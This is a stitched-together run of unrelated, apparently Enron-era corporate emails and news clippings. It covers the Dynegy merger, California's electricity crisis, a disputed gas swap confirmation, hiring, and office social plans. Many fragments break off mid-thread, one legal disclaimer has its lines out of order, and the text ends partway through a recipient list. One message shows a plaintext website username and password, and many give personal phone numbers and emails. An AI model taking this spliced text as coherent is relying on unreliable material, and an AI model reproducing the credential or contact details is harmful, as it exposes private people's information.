Dynegy President Steve Bergstrom agreed. "Most traders want to be part of a winning team. This is a combination that will be a winning team. We have similar issues there as well. The 'A' players will stay around to be part of the winning team." Bergstrom explained that when the merger is complete, the new Dynegy will become the "primary player in all markets." He said Dynegy has a "more asset-backed strategy," adding that he has said before that "you can only have one market maker and Enron clearly was it." By combining the two companies, there will be a blend of Dynegy's asset strategy with Enron's "financial skill set," giving the new entity "more liquidity market-making than Dynegy itself has historically done." 
Added Watson, "both companies had a successful ratio and nothing is going to change there...I'm a strong believer in teams and the team concept. I don't want to see individuals do well if the company doesn't do well. It (will be) imbedded in the whole company." 
Ben Schlesinger, whose company Schlesinger & Associates analyzes the energy industry, said Monday that the big problem in the merger is "whether these two companies are able to pull together...to harness what's there." He said the "two parties are clearly leaders," but theoretically, they will have to streamline their operations. "Both books are fairly strong," he said, and once their efficiencies are put together, the new company will offer "stable returns." In the "very short term," however, Schlesinger said there will be moves to other traders. 
Other analysts also seemed to be throwing support behind the merger. UBS Warburg reiterated its "strong buy" rating on Dynegy, noting that "if successfully executed, this transaction would yield the most widely recognized, respected and downright credible wholesale/retail energy merchant in the world." However, UBS warned that Dynegy still faces a "daunting" task in merging the operations and employees. "We are not naive in underestimating the enormous challenge at hand. In the near-term, Enron must remain highly liquid, investment grade and its employees must remain focused on keeping its core wholesale/retail franchises up and running." 
Merrill Lynch's Donato Eassey reiterated the "buy" on Dynegy and "moving to no opinion" on Enron. He said, "Dynegy has all the necessary skill sets and as importantly, the financial stability, resources and investor confidence and experience to get the job done...Enron's unparalleled online trading business should translate to significant prospects for the new Dynegy." 
Curt Launer, an analyst with Credit Suisse First Boston, added that despite the size of the new company, "we do not expect major divestitures or closing issues because of the lack of asset concentration and the inherent competitiveness of the natural gas and power marketing business." He noted too that with the combination, "we have modeled a merchant unit that does 25% less business," because of "cross trading between them and some expectation of a loss of market share." Still, Launer said Dynegy would become a "formidable competitor" benefiting from a market share in excess of 20% of U.S. natural gas and power trading markets." 
As expected with most major merger announcements, Moody's Investors Service placed the ratings of Dynegy and its subsidiaries under review for possible downgrade, noting that "notwithstanding the franchise benefits of the proposed merger, the financial and business risks associated with the transaction could negatively impact Dynegy's credit fundamentals." The review affects about $4 billion of Dynegy securities, including its subsidiaries Illinova Corp. and Illinois Power Co. 
In its rating review, Moody's said it will "assess Dynegy's plans to meet the liquidity needs of the combined entity and to deal with the uncertainty surrounding Enron's off-balance sheet transactions and contingent risks...and examine the ultimate structure of the transaction, and its impact on Dynegy's financial leverage and on management's targeted debt levels." The ratings service also plans to "consider the governance framework within which the combined trading activities will operate." 
Ratings under review are: Dynegy's Prime-3 rating for commercial paper; Dynegy Holdings' Baa2 senior unsecured debt rating and its Prime-2 rating for commercial paper; Illinova Corp.'s Baa3 senior unsecured debt rating; and Illinois Power Co.'s Baa1 senior secured and Baa2 senior unsecured debt ratings, and its Prime-2 rating for commercial paper. 
Fitch revised its rating watch on Enron's outstanding securities to "evolving" from "negative," where they were placed in late October. The rating watch evolving means the ratings may be raised, lowered or maintained. Fitch also placed a rating watch negative on Dynegy and Dynegy Holding's long-term credit ratings, which also means they could be lowered or affirmed. The outstanding "F2" rated commercial paper programs for Dynegy and Dynegy Holdings were not affected. 

Winter is just around the corner and the new ski season will be opening 
soon.  Please review the proposed information below, regarding the 
ENA/EGM/EIM Customer Ski Program, to help us determine what our needs will be 
for the 2001 season.

Location:  Beaver Creek, Colorado
Preliminary Dates:  February 21 - March 14, 2001
Approximate Cost Per Person:  $2,600 (based on 82 participants)

The preliminary dates have been divided into 6 trips:
TRIP	DATES	TOTAL # OF BEDS
Trip 1	Wed, February 21 - Sat, February 24	11
Trip 2	Sun, February 25 - Wed, February 28	17
Trip 3	Wed, February 28 - Sat, March 3	13
Trip 4	Sun, March 4 - Wed, March 7	13
Trip 5	Wed, March 7 - Sat, March 10	13
Trip 6	Sun, March 11 - Wed, March 14	15

The program cost per person includes:
? Four days/three nights accommodations in luxurious private homes in the 
premier Holden Road/Borders Road area of Beaver  Creek with daily maid service
? Animated invitation with on-line registration
? Round-trip airport ground transportation
? Experienced property hosts
? Daily lift tickets and ski instruction
? Ski equipment rental
? Catered dinner two nights
? Catered breakfast daily
? Off-site dinner coordination
? Alternate activity coordination
? Private vans at each house
? One massage with experienced in-house massage therapists
? Enron promotional gift item
? Pre-program administration and coordination
? On-site operation

If you are interested in participating in the 2001 ski program, please submit 
an email  request to me no later than Friday, December 8th, including the 
following information:
Name
Company
Department
Telephone
Fax
Number of People
Choice of Dates (1st, 2nd & 3rd)
Company #
RC #

The week of December 11th, all requests will be compiled for review and final 
approval.

Questions should be directed to my attention at (713) 853-6978.  

----- Forwarded by Steven J Kean/NA/Enron on 10/16/2000 12:22 PM -----

	10/02/2000 05:53 PM
		 
		 To: skean@enron.com, Tim Belden/HOU/ECT@ECT
		 cc: 
		 Subject: Letter to Lynch from Us Describing Info ISO should release sooner 

Sue Mara
----- Forwarded by Susan J Mara/NA/Enron on 06/07/2001 11:38 AM -----

	Alan Comnes/ENRON@enronXgate
	06/07/2001 09:53 AM
		 
		 To: Tim Belden/ENRON@enronXgate, Robert Badeer/ENRON@enronXgate, Mike 
Swerzbin/ENRON@enronXgate, Matt Motley/ENRON@enronXgate, Chris H 
Foster/ENRON@enronXgate, Greg Wolfe/ENRON@enronXgate, Tim 
Heizenrader/ENRON@enronXgate, Dave Perrino/SF/ECT@ECT, Susan J 
Mara/NA/Enron@ENRON, Jeff Dasovich/NA/Enron@Enron
		 cc: 
		 Subject: DWR Report Released today

Brant:
FYI.
Carol
----- Forwarded by Carol St Clair/HOU/ECT on 06/09/2000 10:18 AM -----

	"Shuttee, John" <ShutteeJ@EPEnergy.com>
	06/09/2000 09:55 AM
		 
		 To: "'Carol St Clair'" <Carol.St.Clair@enron.com>
		 cc: "Shuttee, John" <ShutteeJ@EPEnergy.com>
		 Subject: RE: Status Update

I will send you a draft today.  My legal department gave me a response late
yesterday afternoon.  Sorry for the delay.

John

> From: Carol St Clair [SMTP:Carol.St.Clair@enron.com]
> Sent: Thursday, June 08, 2000 5:28 PM
> To: Shuttee, John
> Subject: Status Update
>
>
>
> John:
> Could you please leave me a quick e-mail message and let me know where
> things
> stand on the redraft as my credit people have been asking about it.
> Thanks.
> carol
>
> Carol St. Clair
> EB 3892
> 713-853-3989 (Phone)
> 713-646-3393 (Fax)
>

This email and any files transmitted with it from El Paso
Energy Corporation are confidential and intended solely
for the use of the individual or entity to whom they are
addressed. If you have received this email in error
please notify the sender.

Start Date: 10/13/01; HourAhead hour: 6;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001101306.txt

     Details:

     Details:

We'll see you there.

DG    3-9573

Dawn C Kenne
11/28/2000 09:16 AM
To: Darron C Giron/HOU/ECT@ECT, kristi.giron@cfisd.net, Jason 
Wolfe/NA/Enron@ENRON, Chris Walker/HOU/ECT@ECT, Jennifer 
Bagwell/NA/Enron@ENRON, Monique Sanchez/HOU/ECT@ECT, Sheri 
Thomas/HOU/ECT@ECT, Kam Keiser/HOU/ECT@ECT, Jennifer deBoisblanc 
Denny/HOU/ECT@ECT, Torrey Moorer/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, 
Stephanie Sever/HOU/ECT@ECT, Kori Loibl/HOU/ECT@ECT, B Scott 
Palmer/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Victor 
Guggenheim/HOU/ECT@ECT, Anne Bike/Corp/Enron@Enron, Richard 
Lauer/HOU/ECT@ECT, Eric Wardle/HOU/ECT@ECT, Pam B Boxx/HOU/ECT@ECT, 
r.wilson@oracle.com
cc:  
Subject: Pre-Party??

Gary and I are going to have a "get together" before the Holiday Party on 
Saturday, December 9th.  Please let me know if you want to stop by our place 
before we head out to Enron Field.  We live really only a few miles away from 
downtown, so this could be a good pit stop for all of you that live out in 
the "burbs"!   (No names mentioned).  

Anyway, let me know if you are able to come by and I will give you directions 
to our place.  Hope all of you can make it!

Thanks,
Dawn
3-9353

 For each of the last 15 years the Enron Kids Committee has chosen an under-privileged HISD elementary school and offered to "sponsor" every child in that school.  What we mean by "sponsor" is that we outfit the child from head to toe plus give each of them a toy and book.  The presents are then handed out to the children at their school Holiday Party in December.  For most of these kids, it is their only Christmas present.

I am once again coordinating the volunteer / adoption efforts for ETS.  Some ETS departments and employees have already sponsored a child-- thanks for your support.  But thus far, we have only adopted 216 of 468 children.  We need more help!!!!

If you would like to participate, I will coordinate collections and adoptions.  Simply reply back to this email with the amount you would like to contribute.  It costs about $100 to "sponsor" each child.  Last year we were able to adopt 18 children. 

All the funds collected will be matched by the Enron Foundation.  The matching funds will be used to buy books and computers for the school.   I will also need volunteers for shopping.  If you would like to shop for the kids we sponsor, please let me know.

Thanks for your support!!
Kevin Hyatt x35559 & The Enron Kids Committee

Attached please find the UPDATED Weekly Report for the LNG Conference Call on 
April 2 at 7:00 a.m. (Houston time), 4:00 p.m. (Dubai time).  The dial-in 
numbers remain the same:

Domestic: 1-800-991-9019
International: 1-847-619-8039
Passcode: 2712679# 

Thank you and regards,
Sunita

Sheila,

No, we have to go through the posting phase first.
I shall ask Shirley to provide the job description.

Vince

	From:  Sheila Walton                           08/04/2000 02:44 PM
	
Subject: Re: Anita DuPont Resume  

Vince, Alice has strong qualities for a Sr Admin Asst.  Vince, have we posted 
this position on the job posting board?  If so, great.  If not, we need to 
post this opening to prove that we have given an opportunity to all existing 
Enron employees before we go outside to external candidates.  Otherwise, 
existing employees have a valid complaint that we are limiting their 
advancement within Enron but hiring externally.   If we have not posted this, 
I will have the recruiter contact Shirley so Shirley can give us a job 
description.  Then we can post and interview Anita simultaneously.  Please 
let me know ASAP if this has been posted.  Thanks.

Sheila Walton  

08/02/2000 08:48 AM
Subject: Anita DuPont Resume

Sheila,

I would like to hire Anita DuPont as a senior admin assistant, reporting
to Shirley.

Please, call me about it after you review the resume.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/02/2000 
08:52 AM ---------------------------

Anita DuPont@ENRON
08/02/2000 08:17 AM
cc: Shirley Crenshaw/HOU/ECT@ECT 

Vince:

Here is the resume you requested.  Thanks.   Anita

Your NYISO certificate application has been approved.

With the same computer and browser you used to make the application,
you can pick-up/install your new NYISO digital certificate at:

http://cert.nyiso.com/displayBySerial?op=displayBySerial&serialNumber=638

Please contact Market Relations if you experience any problem
either installing or using your new NYISO digital certificate.

713-853-9573 (W)
281-304-8303 (H)

DG

From: 	<david.plaisance@us.pwcglobal.com>@ENRON [mailto:IMCEANOTES-+3Cdavid+2Eplaisance+40us+2Epwcglobal+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, September 10, 2001 2:29 PM
Subject:	Re: Thanks

I'm still checking - I had an NC ticket for you but couldn't get ahold of
you in time.  Give me your work/home numbers again.

Thanks

d

Darron.C.Giron@enron.com on 09/10/2001 01:00:41 PM

To:   David Plaisance/US/FAS/PwC@FAS
cc:
Subject:  Thanks

Thanks for getting the OU tickets to me on Saturday.  Do you have any
extras for the Kansas game?  I have Jayhawk relatives coming for the game.
Let me know.  The D and SP look pretty good.  I hope they are holding
something back on O.  We'll see.  Thanks.

DG

the intended recipient (s). Any review, use, distribution or disclosure by
authorized to receive for the recipient), please contact the sender or
reply to Enron Corp. at enron.messaging.administration@enron.com and delete
all copies of the message. This e-mail (and any attachments hereto) are not
Thank you.

entities other than the intended recipient is prohibited.   If you received
computer.

My feeling is we stand by our confirmation - what do you think?
----- Forwarded by Mark Taylor/HOU/ECT on 12/12/2000 07:02 PM -----

	12/12/2000 04:45 PM
		 
		 cc: Scott Neal/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT, William 
Kelly/HOU/ECT@ECT
		 Subject: Conectiv / Delmarva

Mark:

This falls into your area.  I have spoke to William Kelly and advised that I 
am forwarding it to you.

Thanks,

Jeff
----- Forwarded by Jeffrey T Hodge/HOU/ECT on 12/12/2000 04:43 PM -----

	William Kelly
	12/12/2000 04:20 PM
		 
		 cc: Scott Neal/HOU/ECT@ECT, Dick Jenkins/HOU/ECT@ECT

On January 14, 2000, we transacted with Conective via NatSource for a Nov '00 
- March '01 basis swap @ Transco Z6.  Our ticket/booking/confirmation 
indicates we bought the swap.  The broker confirm indicates we sold the 
swap.  Our confirm to the counterparty was executed as Enron buying by their 
operations manager, Joseph Glace.  The counterparty is contending that the 
broker confirm is correct.  Trading contends our confirm is correct and 
binding.  How should we proceed?  The value of the position is roughly $3MM 
of revenue.

Thanks,

WK

Dear September Vincent,

Just a reminder that your current Reliant Energy HL&P statement is ready
for you to review at https://ebill.reliantenergy.com/logon/  If you
participate in the Automatic Payment Plan (APP), your bank account will be
automatically drafted for the amount due.  Remember, with Auto Pay no
action is required to ensure your bill gets paid.
If you do not participate in Automatic Payment Plan (APP), you can pay
your bill immediately or schedule payment for a later date.  As with paper
bills your payment is due about 2 weeks from the statement date. The
online bill replaces your paper bill, a paper copy of your bill will not
be sent.

Should you need to modify your account information, go to
https://ebill.reliantenergy.com/logon/  log into eBill and select User
Information. There you can update your information such as your email
address, change your password and add accounts.

As you use our eBill service, please do not hesitate to provide comments
through the Contact Us section of the site. Check out the Frequently Asked
Questions section for a quick reference.

Again, thank you for choosing Reliant Energy=01,s eBill service.

Reliant Energy eBill Customer Care
http://www.reliantenergy.com/

We have a new flag football season starting up in september.  Let me know if 
you are still interested in playing.  If you are, I need $5 from everyone.

-Eric

Dear Dana Davis,
  Thank you for becoming a CrossDaily member.  Here is the
information you need to log in.

Username: Dana236
Password: batfor188

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CrossDaily.com
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ChristianAdvertising.com
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Cant - I have friends coming in from Calgary.       I went to a great course yesterday;   Glenloch Farms is not too far from the Woodlands and was a cool layout.   We will have to go when I get free.

JMF

From: 	"Jacobucci, Scott" <Scott.Jacobucci@ElPaso.com>@ENRON [mailto:IMCEANOTES-+22Jacobucci+2C+20Scott+22+20+3CScott+2EJacobucci+40ElPaso+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Tuesday, September 04, 2001 12:33 PM
To:	Forney, John M.
Subject:	 

John, are you planning on playing any golf this weekend?

Scott Jacobucci, P.E.
Project Engineer
El Paso Merchant Energy
office(713)420-1287 cell(713) 594-7924

sender.

Kim:
Here is the Citizens invoice I found for July 2001.  Darla is out today, so I will check with her the morning on the PPL piece.

Megan

Sent:	Monday, November 12, 2001 4:04 PM
To:	Parker, Megan

Will you check our systems and invoice for July for the Citizens Griffith deal and let me know what we have billed/paid citizens and PPL for July 17th and July 26.  There are some significant discrepancies with these counterparties that need to be addressed ASAP.  Please let me know what you find.  You can call me at x30685.

thanks,

Kim

From: 	Saucier, Darla  
Sent:	Thursday, November 08, 2001 3:07 PM

Hey Kim,

Please contact Megan Parker from now on for Citizens.  I will be helping transition this off to her, but most of the activity needs to be addressed with her.

Thanks!!

Sent:	Thursday, November 08, 2001 3:02 PM
To:	Saucier, Darla
Subject:	

darla,

can you send me the invoice for the griffith stuff for July?  I think I need to make a change.  

Thanks,

Kim

One other argument we could make:  according to the traders, the gas market 
is very liquid.  Because the gas market is very liquid, generators will sell 
their gas and turn off their units.  So the ISO will create a reliability 
problem.

From: James D Steffes@ENRON on 10/27/2000 11:09 AM CDT
To: dwatkiss@bracepatt.com, dexickson@mwe.com, Joe Hartsoe/Corp/Enron@ENRON, 
Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Mary 
Hain/HOU/ECT@ECT, Susan J Mara/SFO/EES@EES, Jeff Dasovich/NA/Enron@Enron
cc:  
Subject: Pleading to Stop ISO

Here is the outline of some points to make in the filing today.

Yes, we will definitely host you and the students to a tour of Enron Field 
and dinner on the evening of January 31 (if that is still the best night for 
your schedule).  I talked with Lexie earlier this week and told her that I 
was going to cover this, and she thought that she could find some dollars in 
her budget so that we can perhaps split the cost. Either way, consider it 
done.  I am glad that you are including the names of the students to attend.  
However, checking the attachment on your second e:mail message, I can not 
bring up the attachment.   Can you try that again and check with Patti to 
make sure she has it in readable form?  I will be in London all of next week, 
and I would like to send invitations to the students about the tour and 
dinner.  I will need their e:mail addresses to do so.  I don't know whether 
or not you included that on your list.  

Jody said that Ruggles for game watching was really cold!!  I wonder if that 
could be a problem on the 31st?  You never know with Houston weather.  What 
do you think?  We could do the tour and then go to Irma's Southwest Grill (2 
blocks from the stadium, same great food with a more sleek atmosphere - owned 
by Irma's son, Luis).  

I will be in touch with Patti while I am in London next week to make sure 
that plans are progressing on this.   We will include our recent OU grads as 
well.  

I will save your championship game souvenirs and give them to you when I see 
at the end of January.  --Sally 

I have a question on the generation number we are pulling from your 
database.  The hydro numbers are coming in positive and negative.  Could you 
please explain the difference there when you get a chance.  Thanks for your 
help.

TO ANSWER ALOT OF YOUR QUESTIONS AS TO WHAT TYPE OF SHIRT WE ARE ORDERING SO 
YOU CAN GIVE US THE CORRECT SIZE, IT WILL BE LOOSE FITTING LIKE THE HAWAIIAN 
SHIRTS.  IF YOU ALREADY RESPONDED YESTERDAY AND/OR TODAY AND FEEL YOU NEED TO 
CHANGE THE SIZE, PLEASE DO SO AND FORWARD VIA E-MAIL TO CAROLYN GEORGE.  SHE 
WILL BE COORDINATING THE SHIRT SIZING FOR THE CONFERENCE.

THANKS, SORRY I COULDN'T PROVIDE YOU WITH THIS INFORMATION EARLIER.

Business; Financial Desk 
California Concern Still Surges Over State's Energy Power: CalISO gets 
authority to contract for new plants; PG&E seeks $2 billion in 
'undercollections.'
NANCY RIVERA BROOKS
  
10/05/2000 
Los Angeles Times 
Home Edition 
Page C-2 
Copyright 2000 / The Times Mirror Company 
California's top electricity traffic cop on Wednesday took on new 
responsibilities for providing the state with more emergency power as it 
again warned that the state probably won't have enough electrons to keep 
everyone's lights on next summer without significant new sources of 
Separately, Pacific Gas & Electric Co. filed an emergency petition asking the 
California Public Utilities Commission to pass on to consumers at least $2 
billion in extraordinary electricity costs the utility has paid this summer. 
The action, which was expected, follows a summer in which the PG&E Corp. unit 
and the state's two other investor-owned utilities racked up at least $5 
billion in "undercollections"--the difference between the record wholesale 
electricity prices they paid and the retail rates they are allowed to charge 
customers. 
At the heart of both developments Wednesday is a lag in new generation needed 
to keep up with the state's growing demand for electricity. 
California narrowly dodged statewide rolling blackouts this year but might 
not be as fortunate next year, when demand for electricity will exceed supply 
by more than 5,000 megawatts on the hottest summer days, Terry Winter, 
president and chief executive of the California Independent System Operator, 
said at a contentious meeting of the agency's board of governors. 
The board of the Folsom-based nonprofit, which controls about 75% of the 
state's electricity grid, voted to give the ISO staff authority to contract 
with generators to build new power plants to serve peak demand. 
The new generation program puts the ISO in a curious role reminiscent of a 
pre-deregulation utility, with some control over both transmission and 
generation. 
The ISO is charged with making sure there is enough electricity available to 
meet demand--a task that left the agency scrambling again and again this 
summer to round up enough power. In August, the state endured a power 
emergency every 18 hours on average. (Customers of the Los Angeles Department 
of Water and Power do not face shortages.) 
"We never anticipated the ISO would take on the responsibility of stimulating 
development of generation resources this directly," Winter said. "However, if 
we do not assume this role, we will be increasingly challenged in our efforts 
to protect consumers from suffering rotating blackouts next summer." 
The ISO solicited proposals for power plant projects that could be operating 
by June, and received bids representing about 2,000 megawatts of generation, 
or enough to serve about 2 million homes. The electricity would be sold into 
the California Power Exchange or through separate contracts, but the ISO 
would have the right to call on those plants to provide emergency power to 
the grid for up to 500 hours each summer when supplies are tight. The ISO 
would pay generators as much as $255 million a year for that right. 
Board members expressed reservations about the cost of the power from the 
peak-generation units. 
"These are very important issues to the state of California. We need to know 
before decisions are made what these costs are," said Gary Heath, executive 
director of the California Electricity Oversight Board, which oversees the 
ISO. 
PG&E's petition states that since June, the San Francisco-based utility has 
paid an average of $1 million every hour, 24 hours a day, that it has not 
been allowed to recoup from customers under a 1996 rate freeze imposed by the 
Legislature. 
The petition, which might be considered as early as Oct. 19, asks the PUC to 
reconsider a 1999 decision that forbids the utilities to pass on costs to 
customers after the rate freeze ends, in either March 2002 or whenever the 
utilities have paid off billions of dollars in "stranded" costs resulting 
from now-uneconomical investments in nuclear power plants and alternative 
energy contracts. 
Southern California Edison, a unit of Edison International in Rosemead, will 
soon file a similar petition with the PUC, said Bob Foster, a senior vice 
president. As of the end of August, Edison's undercollections had reached 
$1.9 billion. 
* 
Times staff writer Nancy Vogel in Sacramento contributed to this report.

Hey you!

Valerie DeWille
Marketing Associate
503 439-7136
1 800 330-7158
valeried@timberline.com

---------------------- Forwarded by Larry F Campbell/NA/Enron on 04/11/2001 
12:17 PM ---------------------------
   
	From:  Rebecca M Grace @ ECT                           04/11/2001 12:02 PM
	
To: Larry F Campbell/NA/Enron@Enron
cc: Narsimha Misra/NA/Enron@Enron 

Subject: BCG 4/6/01 - 4/8/01

Larry,

Here is the NYISO detail for Bid Cost Guarantees for NE-PHYS book.

Rebecca

---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 02/23/2001 
03:09 PM ---------------------------
To: Matthew Lenhart/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, Bryan 
Hull/HOU/ECT@ECT, Luis Mena/NA/Enron@Enron
cc:  

Subject: Fortune Article

---------------------- Forwarded by Timothy Blanchard/HOU/EES on 02/22/2001 

	From:  Timothy Blanchard                           02/22/2001 04:24 PM
	Phone No: 713-853-4755
	
To: AIP
cc:  

The article just discussed on CNNfn.

Our meeting today, to adress a change in the warning screen that pops up when an incorrect date is entered by a trader, will be held in EB19C1 from 1:30 until 2pm.

Thank you. 

Monica Clay
Enron Net Works, LLC
713-345-7227
1-800-97-ENRON

From: Manuel, Erica [mailto:Erica.Manuel@edelman.com]
Sent: Wednesday, September 12, 2001 9:47 AM
To: Allen, Stevan; AReM; Douglas Oglesby (E-mail) (E-mail); Fairchild,
Tracy; Frank; Joseph Alamo (E-mail) (E-mail); Manuel, Erica; Megan
Beiser; Norm Plotkin; Warner, Jami
Subject: San Diego Union-Tribune: Rush to beat direct-access purchase
ban spurs fear

This article specifically mentions the threatened lawsuit by AREM as having
caused the PUC to drop its proposed order to ban direct access
retroactively.
Rush to beat direct-access purchase ban spurs fear
By Ed Mendel 
STAFF WRITER 
September 12, 2001 
SACRAMENTO -- Some utility customers, mainly businesses, are rushing to sign
contracts with generators for cheaper power before regulators enact a
long-delayed ban, raising concern that costs may go up for the remaining
The state plans to ban "direct access" contracts with generators to keep
customers with utilities in order to help pay for power bought by the state
since January. Those state purchases will be covered in part by a $12.5
billion bond paid off by ratepayers over 15 years. 
But many businesses, which say they need cheaper power now to remain
competitive, are signing contracts to bypass the utilities before the Public
Utilities Commission bans direct-access pacts, an action that could come as
soon as tomorrow. 
"We have seen a significant increase in the last month," said Ed Van Herik,
a spokesman for San Diego Gas & Electric Co. 
He said the amount of the annual SDG&E power load shifted to direct-access
contracts with generators increased from 10 percent at the end of July to
17.4 percent at the end of last month. 
Allowing customers to shop around for cheaper power was the main promise of
the state's failed attempt to deregulate electricity. But when the utilities
ran up huge debts and could no longer borrow, the state began buying power
for utility customers in January. 
To avoid harming the economy with a massive rate increase, the state decided
to spread out payment of the soaring cost of wholesale power by obtaining
decade-long power contracts and issuing the $12.5 billion ratepayer bond. 
Now the state wants customers to remain with the utilities for two reasons:
paying their fair share of the state-subsidized power received earlier this
year and preserving a ratepayer base large enough to pay off the long-term
contracts and the bond. 
The power provided by the state to utility customers looked like a bargain
earlier this year, when prices on the wholesale market skyrocketed while the
state raised rates for the customers of Pacific Gas and Electric Co. and
Southern California Edison by about one-third. 
The state has not raised rates for SDG&E customers. But an increase
averaging 12 percent for SDG&E residential customers is on the PUC agenda
tomorrow, along with several other actions that may be taken to pave the way
for issuing the $12.5 billion ratepayer bond. 
PUC President Loretta Lynch said that before wholesale power prices began
soaring last year, about 16 percent of the power provided by the three
investor-owned utilities was being bought through direct-access contracts.
By last March, she said, the amount dropped to 1 percent. 
"Certainly, the direct access tanked because the marketers dumped their
customers back on the utilities when the price rose last year," Lynch said. 
But as wholesale power prices dropped in June, direct-access contracts began
to look like a better deal, and a number of customers have left the
utilities to get cheaper power. 
At Southern California Edison, the number of customers with direct-access
contracts grew from 32,547 on June 21 to 37,718 by the end of last month --
an increase of 5,171, said Steve Hansen, an Edison spokesman. 
"Now that the market has turned, everyone is bailing as fast as they can,"
said Mike Florio of The Utility Reform Network, a San Francisco-based
consumer group. 
Most of the electricity obtained through direct-access contracts in recent
months apparently has been bought by businesses that use large amounts of
"Most of the providers which serve small customers have simply stopped doing
business in the state," said PUC Commissioner Carl Wood, who with Lynch
outlined the PUC's proposed actions at a Capitol news conference late last
month. 
The PUC delayed action to ban direct-access contracts, waiting for the
Legislature to act on proposals that would have allowed businesses to bypass
the utilities if they paid an "exit fee" to cover their share of
state-subsidized power. 
The ban on direct-access contracts originally proposed by the PUC would have
been retroactive to July 1. But the retroactive provision was reportedly
dropped after a lawsuit was threatened by the Alliance for Retail Energy
Markets, a group of power marketers. 
In the Legislature, a provision allowing utility customers to obtain
direct-access contracts beginning in 2003, if they pay exit fees, was added
to the Assembly version of a plan passed last week to keep Edison from
joining PG&E in bankruptcy. 
The addition of the direct-access provision is one reason that the Assembly
version of the Edison plan is supported by the California Chamber of
Commerce. But the Assembly plan pushed by Gov. Gray Davis faces opposition
in the Senate. 
Senate President Pro Tempore John Burton, D-San Francisco, said the Senate
would send an Edison bill back to the Assembly after making it a
"less-egregious giveaway" to the utility. 
The main provision in the Assembly plan would allow Edison to eliminate most
of its debt by issuing $2.9 billion in bonds that would be paid off by
ratepayers. 
The Foundation for Consumer and Taxpayer Rights, a consumer group in Santa
Monica, calls the Edison plan a "bailout" and is threatening to place a
measure on the ballot that would ask voters to overturn the plan should it
be approved by the Legislature and governor. 
And TURN, the San Francisco consumer group, says the Assembly version of the
Edison rescue plan is more generous to the utility than a tougher plan
approved by the Senate in July and giving Edison an additional $1.8 billion.

The consumer group also says the direct-access provision in the Assembly's
Edison plan has "major loopholes" that would allow large customers to leave
the utilities without paying their fair share of state power costs. 
"TURN opposes the reintroduction of direct access, because any 'savings'
that are claimed to occur are really nothing more than the result of cost
shifting to those who do not or cannot abandon utility service," the
consumer group said in a statement. 
Copyright 2001 Union-Tribune Publishing Co. 

Erica Manuel
Edelman Worldwide / Sacramento 
916/442-2331 phone
916/447-8509 fax
erica.manuel@edelman.com

we'll try to get a copy of gary's comments
----- Forwarded by Steven J Kean/NA/Enron on 12/04/2000 08:59 AM -----

	12/04/2000 08:48 AM
		 
		 cc: 
		 Subject: Re: See Jeff Skilling's CNBC interview on IPTV

FYI - 

----- Forwarded by Maureen McVicker/NA/Enron on 12/04/2000 08:48 AM -----

	Gary Hamel <ghamel@strategos.com>
	12/02/2000 06:27 AM
	Please respond to ghamel
		 
		 To: Maureen.McVicker@enron.com
		 cc: 

You might be interested to know that I gave Enron a big plug last week when I 
served as guest host on the evening
European news roundup broadcast from CNBC's London studios.

Gary.

Maureen.McVicker@enron.com wrote:

> >From Maureen McVicker (Steve Kean's Assistant)
>
> If you have any questions, please call me at 713-853-1808.
>
> ----- Forwarded by Maureen McVicker/NA/Enron on 12/01/2000 04:32 PM -----
>
>                     Public
>                     Relations            To:     All Enron Worldwide
>                     Sent by:             cc:
>                     Public               Subject:     See Jeff Skilling's 
CNBC interview
>                     Relations            on IPTV
>
>
>                     12/01/2000
>                     03:19 PM
>
>
>
> (Embedded image moved to file: pic26924.pcx)        Public Relations
>
> Did you miss Jeff on CNBC "Street Signs" yesterday?  Not to worry.  Your
> ever benevolent communications team has arranged for Jeff's interview to be
> played on an IPTV webcast.  Just point your browser to
> http://iptv.enron.com, click the link for special events, and then choose
> "Skilling CNBC."  The interview will be available every ten minutes through
> Wednesday, Dec. 6.
>
>   ------------------------------------------------------------------------
>                    Name: pic26924.pcx
>    pic26924.pcx    Type: Corel PHOTO-PAINT 6.0 Image 
(application/x-unknown-content-type-CorelPhotoPaint.Image.6)
>                Encoding: base64

I would like a spot

	03/28/2001 04:07 PM
		 
		 To: Brad Alford/NA/Enron@Enron, Megan Angelos/Enron@EnronXGate, Suzanne 
Adams/HOU/ECT@ECT, John Allario/Enron@EnronXGate, Phillip K 
Allen/HOU/ECT@ECT, Irma Alvarez/Enron@EnronXGate, Airam Arteaga/HOU/ECT@ECT, 
Berney C Aucoin/HOU/ECT@ECT, Peggy Banczak/HOU/ECT@ECT, Robin 
Barbe/HOU/ECT@ECT, Edward D Baughman/Enron@EnronXGate, Pam 
Becton/Enron@EnronXGate, Corry Bentley/HOU/ECT@ECT, Patricia 
Bloom/Enron@EnronXGate, Sandra F Brawner/HOU/ECT@ECT, Jerry 
Britain/Enron@EnronXGate, Lisa Bills/Enron@EnronXGate, Michelle 
Blaine/ENRON@enronXgate, Eric Boyt/Corp/Enron@Enron, Cheryl 
Arguijo/Enron@EnronXGate, Jeff Ader/HOU/EES@EES, Mark Bernstein/HOU/EES@EES, 
Kimberly Brown/HOU/ECT@ECT, Gary Bryan/HOU/ECT@ECT, Rebecca W 
Cantrell/HOU/ECT@ECT, Bob Carter/HOU/ECT@ECT, Carol Carter/Enron@EnronXGate, 
Carmen Chavira/Enron@EnronXGate, Christopher K Clark/Enron@EnronXGate, Morris 
Richard Clark/Enron@EnronXGate, Terri Clynes/HOU/ECT@ECT, Karla 
Compean/Enron@EnronXGate, Ruth Concannon/HOU/ECT@ECT, Patrick 
Conner/HOU/ECT@ECT, Sheri L Cromwell/Enron@EnronXGate, Edith 
Cross/HOU/ECT@ECT, Martin Cuilla/HOU/ECT@ECT, Mike Curry/Enron@EnronXGate, 
Michael Danielson/SF/ECT@ECT, Peter del Vecchio/HOU/ECT@ECT, Barbara G 
Dillard/Corp/Enron@Enron@ECT, Rufino Doroteo/Enron@EnronXGate, Christine 
